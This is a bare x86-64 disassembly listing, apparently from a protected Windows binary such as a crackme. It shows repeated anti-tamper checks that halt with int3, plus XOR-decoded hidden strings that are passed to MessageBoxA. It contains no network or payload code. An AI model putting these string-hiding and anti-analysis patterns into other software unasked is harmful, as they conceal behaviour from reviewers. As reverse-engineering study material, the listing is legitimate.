mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023081
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x14002344e
mov rax, qword gs:[0]
mov ecx, 0xb505ee60
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023114
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023114
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002344e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400231ef
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400231cf
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400231cf
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400231ef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 5
mov rdi, r15
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140023580
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, r12
jb 0x140023215
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400c8c60]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [str._H]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400c8a90]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x5e32352e
mov dword [rbp + 0xd0c], 0x944d88e7
mov dword [rbp + 0xd10], 0xf5d51f89
mov word [rbp + 0xd14], Ordinal_50
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.1400235f4
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x1400232a6
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400233a4
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023384
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023384
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400233a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14002344e
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002342e
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002342e
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002344e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov ecx, 1
call fcn.140089778
int3